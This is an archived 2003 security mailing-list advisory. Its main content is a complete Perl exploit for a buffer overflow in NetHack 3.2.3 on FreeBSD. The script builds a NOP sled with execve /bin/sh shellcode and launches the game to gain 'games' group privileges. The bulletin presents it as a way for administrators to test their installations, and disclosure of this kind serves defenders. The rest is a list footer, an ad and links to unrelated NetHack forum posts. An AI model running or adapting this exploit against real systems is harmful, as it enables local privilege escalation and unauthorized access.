[EXPL] NetHack 'games' Privileges Escalation Exploit Code (-s)

From: support@securiteam.com
Date: 02/17/03

  • Next message: support@securiteam.com: "[UNIX] Unauthorized File Access Vulnerability Found in phpMyNewsletter"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Feb 2003 22:48:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      NetHack 'games' Privileges Escalation Exploit Code (-s)
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit (written in Perl) can be used by an administrator to
    test his NetHack (game) installation for a overflow vulnerability in an
    internal buffer of the NetHack game. The vulnerability would allow a local
    attacker to gain 'game' privileges.

    DETAILS

    Vulnerable systems:
     * NetHack version 3.2.3

    Exploit:
    #!/usr/bin/perl
    # knud vs. /usr/ports/games/nethack32 / nethack-3.2.3
    # freebsd edition.. gives gid games
    # bug sent to various lists by 'tsao_4sh0@hushmail.com'

    $len = 1000;
    $ret = 0xbfbffb7f; # on my 4.7-RELEASE
    $nop = "\x90";
    $offset = 0;
    $shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd
    29bytes
                "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve
    /bin/sh
                "\x62\x69\x6e\x2f\x73\x68\x23";
    #zillionATsafemode.org

    if (@ARGV == 1) {
        $offset = $ARGV[0];
    }
    for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
        $buffer .= $nop;
    }
    $buffer .= $shellcode;
    print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
    $new_ret = pack('l', ($ret + $offset));
    for ($i += length($shellcode); $i < $len; $i += 4) {
        $buffer .= $new_ret;
    }
    local($ENV{'EGG'}) = $buffer;
    $cakeman = $new_ret x 57 ;
    exec("/usr/local/share/nethack/nethack -s $cakeman");

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kain@ircop.dk> Knud Erik
    Højgaard.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • K-Mod
      ... I've uploaded my nethack mod to sourceforge. ... I've gained a better understanding of the game ... Resistances now come in two flavours 'resistance' (intrinsic ... the map changes from sporkhack. ...
      (rec.games.roguelike.nethack)
    • Re: YANI - Psammead and Megatherium
      ... The following quote would fit nicely in the NetHack ... games where you could *not* make the game unwinnable, ... I'd say 99% of the unascended could not ascend in explore mode. ... Perhaps the devnull tournament could have an eXplore mode bracket ...
      (rec.games.roguelike.nethack)
    • Re: How do you fix corrosion?
      ... that's what's supplied with the game. ... my point is that Nethack can be enjoyed without spoilers ... Just recently I've been ranting about players wasting time ... survive and experimenting with various weapons and tools, ...
      (rec.games.roguelike.nethack)
    • YAFAP - Archeologists FTW! Game crashes FTL!
      ... I've been playing Nethack on and off since 2006, ... tried seriously to ascend; I usually play late at night after work, ... ever since I first installed Nethack ... This game also had the most ...
      (rec.games.roguelike.nethack)
    • YAFAP: Aaron-Wiz-Hum-Mal-Neu
      ... I have another character who is about to ascend, ... I was playing Nethack on and off for about three months. ... In addition, relatively early on in the game, I found some ... but I used teleport away and finger of death to eliminate ...
      (rec.games.roguelike.nethack)